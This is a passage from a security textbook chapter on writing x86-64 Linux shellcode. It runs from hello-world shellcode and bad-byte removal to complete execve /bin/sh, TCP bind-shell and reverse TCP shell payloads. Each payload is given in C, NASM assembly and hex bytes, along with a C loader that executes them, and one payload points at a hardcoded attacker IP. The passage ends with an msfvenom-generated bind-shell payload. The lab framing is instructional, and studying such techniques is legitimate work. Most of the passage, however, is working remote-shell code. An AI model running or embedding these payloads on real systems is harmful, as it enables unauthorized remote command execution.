\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a

Next, we can use the following code for testing our machine:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

int main()
{
   printf("Shellcode Length: %d\n", (int)strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}

Let's compile it and run it:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out
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The output of the preceding command is shown in the following screenshot:

You can see from the preceding output that our shellcode didn't work. The reason was the
bad characters in it. This takes us to the next section, which discusses ways to remove them.

Bad characters
Bad characters are characters that can break the execution of a shellcode because they can be
interpreted as something else.

For example, consider \x00, which means zero value, but it will be interpreted as a null
terminator and will be used to terminate a string. Now, to prove that, let's take another look
at the previous code:

"\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60
\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00
\x00\x00\xbf\x01\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20
\x77\x6f\x72\x6c\x64\x0a";

When we tried to execute it, we got an error, Shellcode Length: 14. If you look at the
15th operation code, you will see \x00, which is interpreted as a null terminator.

Here is the list of bad characters:

00: This is the zero value or null terminator (\0)
0A: This is the line feed (\n)
FF: This is the form feed (\f)
0D: This is the carriage return (\r)

Now, how to remove these bad characters from our shellcode? Actually, we can remove
them using what we know so far in assembly, such as choosing which part of one register
should depend on the size of the moved data. For example, if I want to move a small value
such as 15 to RAX, we should use the following code:

mov al, 15
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Alternatively, we can use arithmetic operations, for example, to move 15 to the RAX
register: 

xor rax, rax
add rax, 15

Let's take a look at our machine code, one instruction at a time:

The first instruction is mov rax, 1, and it contains 0 because we were trying to move 1
byte (8 bits) to a 64-bit register. So it would fill the rest with zeros, which we can fix using
mov al, 1,  so we moved 1 byte (8 bits) to an 8-bit part of the RAX register; let's confirm
that:

global _start

section .text

_start:
    mov al, 1
    mov rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall
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    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:
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We managed to remove all the bad characters from the first instruction. Let's try another
method with the second instruction, which is using arithmetic operations such as adding or
subtracting.

First, we need to clear the register using the xor instruction, xor rdi, rdi. Now, the RDI
register contains zeros; we add 1 to its value, add rdi, 1:

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    mov rdx, length
    syscall

    mov rax, 60
    mov rdi, 1
    syscall

section .data
    hello_world: db 'hello world',0xa
    length: equ $-hello_world

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
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The output of the preceding command is shown in the following screenshot:

We fixed that too. Let's fix all that and leave moving the hello world string to the next
section:

global _start

section .text

_start:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    mov rsi, hello_world
    xor rdx,rdx
    add rdx,12
    syscall

  xor rax,rax
  add rax,60
  xor rdi,rdi
  syscall

section .data
    hello_world: db 'hello world',0xa
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Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:

We managed to remove all the bad characters from our shellcode, which leaves us with
how to deal with addresses when copying strings.

The relative address technique 
The relative address is the current location relative to the RIP register, and relative value is a
very good technique to avoid using hardcoded addresses in assembly.

How can we do that? Actually, it's made so simple by using lea <destination>, [rel
<source>], where the  rel instruction will compute the address of the source relative to
the RIP register.
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We need to define our variable before the code itself, which in turn has to be defined before
the RIP current location; otherwise, it will be a short value and the rest of the register will be
filled with zeros like this:

 

Now, let's modify our shellcode with this technique to fix the location of the hello world
string:

global _start

section .text

_start:
    jmp code
    hello_world: db 'hello world',0xa

code:
    mov al, 1
    xor rdi, rdi
    add rdi, 1
    lea rsi, [rel hello_world]
    xor rdx,rdx
    add rdx,12
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world
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The output of the preceding command is shown in the following screenshot:

No bad characters at all! Let's try it as a shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:

Let's now try to compile this shellcode and run it using our C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\xeb\x0c\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a\xb0\x01\x48\x31\x
ff\x48\x83\xc7\x01\x48\x8d\x35\xe4\xff\xff\xff\x48\x31\xd2\x48\x83\xc2\x0c\
x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
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int main()
{

    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();

}

Now, run the following commands:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:

It worked! Now, this is our first shellcode.

Let's move to see more techniques on how to deal with addresses.

The jmp-call technique 
Now, we will talk about a new technique on how to deal with the string's address, which is
the jmp-call technique.

This technique is simply to first make the jmp instruction to the string we want to move to a
specific register. After that, we call the actual code using the call instruction, which pushes
the string's address to the stack, then we pop the address into that register. Take a look at
the next example to fully understand this technique:

global _start

section .text

_start:
    jmp string
code:
    pop rsi
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    mov al, 1
    xor rdi, rdi
    add rdi, 1
    xor rdx,rdx
    add rdx,12
    syscall

    xor rax,rax
    add rax,60
    xor rdi,rdi
    syscall

string:
    call code
    hello_world: db 'hello world',0xa

Now, run the following commands:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -D -M intel hello-world

The output of the preceding command is shown in the following screenshot:
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No bad characters; let's now review what we did. First, we executed a jmp instruction to the
string, then we called the actual code using the call instruction, which will cause the next
instruction to be pushed into the stack; let's see that code inside GDB:

$ gdb ./hello-world
$ set disassembly-flavor intel
$ break _start
$ run
$ stepi

The output of the preceding command is shown in the following screenshot:
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The next instruction is calling the code using the call code instruction. Notice what is
going to happen in the stack:

The address of the hello world string is pushed into the stack and the next instruction
is pop rsi, which moves the address of the hello world string from the stack to the RSI
register.

Let's try to use it as a shellcode:

$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:
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Implementing the same in C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\xeb\x1f\x5e\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x48\x31\xd2\x48\x83\xc2\x
0c\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\
xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let's compile and run it:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:

The stack technique 
Here, we are going to learn another technique to deal with addresses using the stack. It's
very simple, but we have two obstacles. First, we only allow 4 bytes to push into the stack in
one operation—we will use registers to help us in this. Second, we have to push out strings
into the stack in reverse—we will use Python to do that for us.

Let's try to solve the second obstacle. Using Python, I'm going to define string = 'hello
world\n', then I will reverse my string and encode it to hex in one line using
string[::-1].encode('hex'). Next, we will have our string in reverse and encoded:
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Done! Now, let's try to solve the first obstacle:

global _start

section .text
_start:

    xor rax, rax
    add rax, 1
    mov rdi, rax
    push 0x0a646c72
    mov rbx, 0x6f57206f6c6c6548
    push rbx
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 12
    syscall

    xor rax, rax
    add rax, 60
    xor rdi, rdi
    syscall

First, we push 8 bytes to the stack. We could push the rest into the stack divided by 4 bytes
at each operation, but we also can use registers to move 8 bytes in one operation and then
push the content of that register into the stack:

$ nasm -felf64 hello-world.nasm -o hello-world.o
$ ld hello-world.o -o hello-world
$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:
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Let's try to use it as a shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x48\x31\xc0\x48\x83\xc0\x01\x48\x89\xc7\x68\x72\x6c\x64\x0a\x48\xbb\x48\x
65\x6c\x6c\x6f\x20\x57\x6f\x53\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x0c\x0f\
x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Now, run the following commands:

$ gcc -fno-stack-protector -z execstack hello-world.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:

That was easy too.

In the next section, we will discuss how to make a useful shellcode using the execve
syscall.

The execve syscall
Now, we will learn how to make a useful shellcode using execve. Before we continue, we
must understand what the execve syscall is. It's a syscall used to execute a program or a
script. Let's take an example of how to use execve to read the /etc/issue file using the C
language.
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First, let's take a look at the execve requirements:

$ man 2 execve

The output of the preceding command is shown in the following screenshot:

As it says, the first argument is the program we want to execute.

The second argument, argv, is a pointer to an array of arguments related to the program we
want to execute. Also, argv should contain the program's name.

The third argument is envp, which contains whatever arguments we want to pass to the
environment, but we can set this argument to NULL.

Now, let's build C code to execute the cat /etc/issue command:

#include <unistd.h>

int main()
{
    char * const argv[] = {"cat","/etc/issue", NULL};
    execve("/bin/cat", argv, NULL);
    return 0;
}



Creating Shellcode Chapter 5

[ 147 ]

Let's compile and run it:

$ gcc execve.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:

It gave us the content of the /etc/issue file, which is Kali GNU/Linux Rolling \n \l.

Now, let's try to execute /bin/sh in assembly using the execve syscall. Here, I'm going to
use the stack technique; let's do this code step by step:

 char * const argv[] = {"/bin/sh", NULL};
 execve("/bin/sh", argv, NULL);
 return 0;

First, we need to use NULL as a sign of separation in the stack. Then, we move the stack
pointer to RDX register to get our third argument:

xor rax, rax
push rax
mov rdx, rsp

Then, we need to push our path, which is /bin/sh, into the stack, and since we only have
seven bytes and we don't want any zeros in our code, let's push //bin/sh or /bin//sh.
Let's reverse this string and encode it to hex using Python:

string ='//bin/sh'
string[::-1].encode('hex')

The output of the preceding command is shown in the following screenshot:
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Now that we have our string ready, let's push it into the stack using any register, since it
contains 8 bytes:

mov rbx, 0x68732f6e69622f2f
push rbx

Let's move RSP to the RDI register to get our first argument:

mov rdi, rsp

Now, we need to push another NULL as a string separation, then we need a pointer to our
string by pushing RDI content, which is the address of our string to the stack. Then, we
move the stack pointer to the RDI register to get the second argument:

push rax
push rdi
mov rsi,rsp

Now, all our arguments are ready; let's get the execve syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

The output of the preceding command is shown in the following screenshot:

The execve syscall number is 59:

add rax, 59
syscall

Let's put our code together:

global _start

section .text

_start:
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
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    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

Now, run the following commands:

$ nasm -felf64 execve.nasm -o execve.o
$ ld execve.o -o execve
$ ./execve

The output of the preceding command is shown in the following screenshot:

Let's convert it to a shellcode:

$ objdump -M intel -D execve | grep '[0-9a-f]:' | grep -v 'file' | cut -f2
-d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/
/\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:

We will use C code to inject our shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x
48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
int main()
{
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
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    ret();
}

Now, run the following commands:

$ gcc -fno-stack-protector -z execstack execve.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:

TCP bind shell
Now, let's move further to do something really useful, which is building a TCP bind shell.

The TCP bind shell is used to set up a server on a machine (victim), and that server is
waiting for a connection from another machine (attacker), which allows the other machine
(attacker) to execute commands on the server. 

First, let's take a look at a bind shell in C language to understand how it really works:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
  int clientfd, sockfd;
  int port = 1234;
  struct sockaddr_in mysockaddr;

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  mysockaddr.sin_family = AF_INET; //--> can be represented in
  numeric  as 2
  mysockaddr.sin_port = htons(port);
  mysockaddr.sin_addr.s_addr = INADDR_ANY;// --> can be represented
  in  numeric as 0 which means to bind to all interfaces
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  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

  listen(sockfd, 1);

  clientfd = accept(sockfd, NULL, NULL);
  dup2(clientfd, 0);
  dup2(clientfd, 1);
  dup2(clientfd, 2);
  char * const argv[] = {"sh",NULL, NULL};
  execve("/bin/sh", argv, NULL);
  return 0;
}

Let's break it down into pieces to understand how it works:

sockfd = socket(AF_INET, SOCK_STREAM, 0);

Firstly, we created a socket, which takes three arguments. The first argument is to define the
protocol family, which is AF_INET, which represents IPv4 and can be represented in
numeric form by 2. The second argument is to specify the type of connection, and
here, SOCK_STREAM represents TCP and can represented in numeric form by 1. The third
argument is the protocol and it's set to 0, which tells the operating system to choose the
most appropriate protocol to use. Now let's find the socket syscall number: 

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket

The output of the preceding command is shown in the following screenshot:

From the obtained output, the socket syscall number is 41.

Let's create the first part in assembly:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall
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The output value, which is sockfd, will be stored in the RAX register; let's move it to the
RDI register:

mov rdi, rax

Now to the next part, which is filling the structure, mysockaddr, to be an input to the
bind function:

 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = INADDR_ANY;

We need it in the form of a pointer; also, we have to push to the stack in reverse order.

First, we push 0 to represent to bind to all interfaces (4 bytes).

Second, we push the port in the form of htons (2 bytes). To convert our port to htons, we
could use Python:

Here is our port (1234) in htons form (0xd204).

Third, we push the value 2, which represents AF_INET (2 bytes):

xor rax, rax
push rax
push word 0xd204
push word 0x02

Having our structure set, let's prepare the bind function:

bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

The bind function takes three arguments. The first one is sockfd, which is already stored
in the RDI register; the second is our structure in the form of a reference; and the third is the
length of our structure, which is 16. Now what's left is to get the bind syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep bind
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The output of the preceding command is shown in the following screenshot:

From the preceding screenshot, we can see that the bind syscall number is 49; let's create
the bind syscall:

mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 49
syscall

Now, let's set the listen function, which takes two arguments:

listen(sockfd, 1);

The first argument is sockfd, which we have stored already in the RDI register. The second
argument is a number, which represents the maximum number of connections the server
can accept, and here, it allows only one.

Now, let's get the listen syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep listen

The output of the preceding command is shown in the following screenshot:

Now, let's build the bind syscall:

xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall
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We'll move on to next function, which is accept:

 clientfd = accept(sockfd, NULL, NULL);

The accept function takes three arguments. The first is sockfd, and again, it is already 
stored in the RDI register; we can set the second and the third arguments to zero. Let's get
the accept syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep accept

The output of the preceding command is shown in the following screenshot:

xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

The output of the accept function, which is ; clientfd, will be stored in the RAX register,
so let's move that to a safer place:

mov rbx, rax

Execute the dup2 syscall:

 dup2(clientfd, 0);
 dup2(clientfd, 1);
 dup2(clientfd, 2);

Now, we will execute it three times to duplicate our file descriptor to stdin, stdout, and
stderr, which take (0, 1, 1), respectively.

The dup2 syscall takes two arguments. The first argument is the old file descriptor—in our
case, it is clientfd. The second argument is our new file descriptors (0, 1, 2). Now, let's get
the dup2 syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep dup2
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The output of the preceding command is shown in the following screenshot:

Now, let's build the dup2 syscall: 

mov rdi, rbx
xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

Then, we add our execve syscall:

char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
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Now, everything is ready; let's put all the pieces together in one code:

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
    syscall

; Save the sockfd in RDI Register
    mov rdi, rax

;Creating the structure
    xor rax, rax
    push rax
    push word 0xd204
    push word 0x02
;Bind syscall
    mov rsi, rsp
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 49
    syscall

;Listen syscall
    xor rax, rax
    add rax, 50
    xor rsi , rsi
    inc rsi
    syscall

;Accept syscall
    xor rax , rax
    add rax, 43
    xor rsi, rsi
    xor rdx, rdx
    syscall
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;Store clientfd in RBX register
    mov rbx, rax

;Dup2 syscall to stdin
    mov rdi, rbx
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi,rsp
    add rax, 59
    syscall

Let's assemble and link it:

$ nasm -felf64 bind-shell.nasm -o bind-shell.o
$ ld bind-shell.o -o bind-shell
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Let's convert it to a shellcode:

$ objdump -M intel -D bind-shell | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:

Let's inject it into our C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x
ff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\x66\x68\x04\xd2\x66\
x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0\x48\x83\xc0\x31
\x0f\x05\x48\x31\xc0\x48\x83\xc0\x32\x48\x31\xf6\x48\xff\xc6\x0f\x05\x48\x3
1\xc0\x48\x83\xc0\x2b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x48\x89\xc3\x48\x89\x
df\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\
x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48
\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x8
9\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}



Creating Shellcode Chapter 5

[ 159 ]

Let's compile it and run it:

$ gcc -fno-stack-protector -z execstack bind-shell.c
$ ./a.out

The output of the preceding command is shown in the following screenshot:

Now our shellcode is working and waiting; let's confirm:

$ netstat -ntlp

The output of the preceding command is shown in the following screenshot:

It's listening now on port 1234; now, from another Terminal window, start nc: 

$ nc localhost 1234

The output of the preceding command is shown in the following screenshot:

Now, it's connected and waiting for our commands; let's try:

$ cat /etc/issue
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The output of the preceding command is shown in the following screenshot:

Now we have our first real shellcode!

Reverse TCP shell
In this section, we will create another useful shellcode, which is the reverse TCP shell. A
reverse TCP shell is the opposite of the bind TCP, as the victim's machine establishes a
connection to the attacker again.

First, let's have a look at it in C code:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void)
{
    int sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    mysockaddr.sin_family = AF_INET;
    mysockaddr.sin_port = htons(port);
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");

    connect(sockfd, (struct sockaddr *) &mysockaddr,
    sizeof(mysockaddr));
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);
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    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

First, we will compile and execute this on one of our victim machines (Ubuntu). We will set
up a listener on the attacking machine (Kali), and the shell will connect back from Ubuntu
to Kali by adding Kali's IP in the code.

Let's set up a listener on Kali using the nc command or the netcat tool:

$ nc -lp 1234

On Ubuntu, let's compile and run our reverse-tcp shellcode:

$ gcc reverse-tcp.c -o reverse-tcp
$ ./reverse-tcp

Back to my Kali again—I'm connected!

That was simple!
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Now, let's build up a reverse TCP shell in assembly, and then convert it into a shellcode.

The socket function is exactly as we explained in bind TCP. Move the output of
the socket to the RDI register:

xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2
xor rsi, rsi
inc rsi
xor rdx, rdx
syscall

mov rdi, rax

Next is filling the mysockaddr structure, except that we have to push out the attacker's IP
address in 32-bit packed format. We will do that using Python:

So our IP address in 32-bit packed format is 01eea8c0.

Let's build our structure and move the stack pointer to RSI:

xor rax, rax
push dword 0x01eea8c0
push word 0xd204
push word 0x02

mov rsi, rsp

 Now, let's build the connect function: 

 connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

Then, run the following command:

$ man 2 connect
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The output of the preceding command is shown in the following screenshot:

The connect function also takes three arguments. The first argument is sockfd (the output
from the socket function), which is stored in the RDI register. The second is a reference to
our structure, which is stored in the RSI register. The third argument is the size of
our structure.

Let's get the connect syscall number:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep connect

The output of the preceding command is shown in the following screenshot:

From the obtained output, we can see that the syscall number is 42. Now, let's build
the connect syscall:

xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall
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Now, the dup2 function is the same except that the first argument will be sockfd, which is
already stored in the RDI register; let's build that too:

xor rax,rax
add rax, 33
xor rsi, rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

xor rax,rax
add rax, 33
inc rsi
syscall

Now, the final part, which is the execve syscall for /bin/sh:

xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

Now, let's pack them together: 

global _start

section .text

_start:

;Socket syscall
    xor rax, rax
    add rax, 41
    xor rdi, rdi
    add rdi, 2
    xor rsi, rsi
    inc rsi
    xor rdx, rdx
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    syscall

; Save the sockfd in RDI Register
    mov rdi, rax

;Creating the structure
    xor rax, rax
    push dword 0x01eea8c0
    push word 0xd204
    push word 0x02

;Move stack pointer to RSI
    mov rsi, rsp

;Connect syscall
    xor rdx, rdx
    add rdx, 16
    xor rax, rax
    add rax, 42
    syscall

;Dup2 syscall to stdin
    xor rax,rax
    add rax, 33
    xor rsi, rsi
    syscall

;Dup2 syscall to stdout
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Dup2 syscall to stderr
    xor rax,rax
    add rax, 33
    inc rsi
    syscall

;Execve syscall with /bin/sh
    xor rax, rax
    push rax
    mov rdx, rsp
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    push rax
    push rdi
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    mov rsi,rsp
    add rax, 59
    syscall

Let's assemble and link it to our victim machine:

$ nasm -felf64 reverse-tcp.nasm -o reverse-tcp.o
$ ld reverse-tcp.o -o reverse-tcp

Then, on our attacker machine run the following:

$ nc -lp 1234

Then, back again to our victim machine and run our code: 

$ ./reverse-tcp

Then, on our attacker machine, we are connected to our victim machine (Ubuntu):

Now, let's convert it to a shellcode:

$ objdump -M intel -D reverse-tcp | grep '[0-9a-f]:' | grep -v 'file' | cut
-f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed
's/ /\\\x/g' | paste -d '' -s

The output of the preceding command is shown in the following screenshot:
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Let's copy this machine language into our C code:

#include<stdio.h>
#include<string.h>

unsigned char code[] =

"\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x02\x48\x31\xf6\x48\x
ff\xc6\x48\x31\xd2\x0f\x05\x48\x89\xc7\x48\x31\xc0\x68\xc0\xa8\xee\x01\x66\
x68\x04\xd2\x66\x6a\x02\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x10\x48\x31\xc0
\x48\x83\xc0\x2a\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\x4
8\x31\xc0\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x
48\xff\xc6\x0f\x05\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\
x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main()
 {
    printf("Shellcode Length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Let's compile it on our victim machine:

$ gcc -fno-stack-protector -z execstack reverse-tcp-shellcode.c -o reverse-
tcp-shellcode

Then, set up a listener on our attacker machine:

$ nc -lp 1234

Now, set up a listener on our victim machine:

$ ./reverse-tcp-shellcode

The output of the preceding command is shown in the following screenshot:
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Now, we are connected to our attacker machine:

We did it!

Generating shellcode using Metasploit
Here, things are simpler than you think. We will generate shellcodes using Metasploit for
multiple platforms with multiple architectures, and remove bad characters in one
command.

We will use the msfvenom command. Let's show all the options using msfvenom -h: 
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Let's list all of its payloads using msfvenom -l—and it's a very big list of payloads: 

This is just a small section from that list.

Let's take a look at our output formats using msfvenom --help-formats:

Let's try to create bind TCP shellcode on Linux:

$ msfvenom -a x64 --platform linux -p linux/x64/shell/bind_tcp -b "\x00" -f
c

What we have here is simple: -a to specify the arch, then we specified the platform as
Linux, then we selected our payload to be linux/x64/shell/bind_tcp, then we removed
bad characters, \x00, using the -b option, and finally we specified the format to C. Let's
execute to see:
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Now, copy that shellcode to our C code:

#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xdd\x0a\x08\xe9\x70\x39\xf7\x21\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb7\x23\x50\x70\x1a\x3b"
"\xa8\x4b\xdc\x54\x07\xec\x38\xae\xa5\xe6\xd9\x2e\x0a\xe9\x61"
"\x65\xbf\xa8\x3b\x60\x18\xb3\x1a\x08\xaf\x2e\xd8\x53\x62\xdb"
"\x28\x36\xf2\x69\x4b\x60\x23\xb1\x7f\x3c\xa7\x77\x82\x60\x01"
"\xb1\xe9\x8f\xe7\x69\x54\xdc\x45\xd8\xb9\x53\xd5\x60\x87\xb8"
"\x0f\xe6\x75\x71\x61\x69\x4a\x55\x07\xec\x8f\xdf\xf7\x21";

int main()
{
     printf("Shellcode Length: %d\n", (int)strlen(code));
     int (*ret)() = (int(*)())code;
     ret();
}

Then, copy it to our victim machine. Now, compile it and run it: 

$ gcc -fno-stack-protector -z execstack bin-tcp-msf.c -o bin-tcp-msf
$ ./bin-tcp-msf

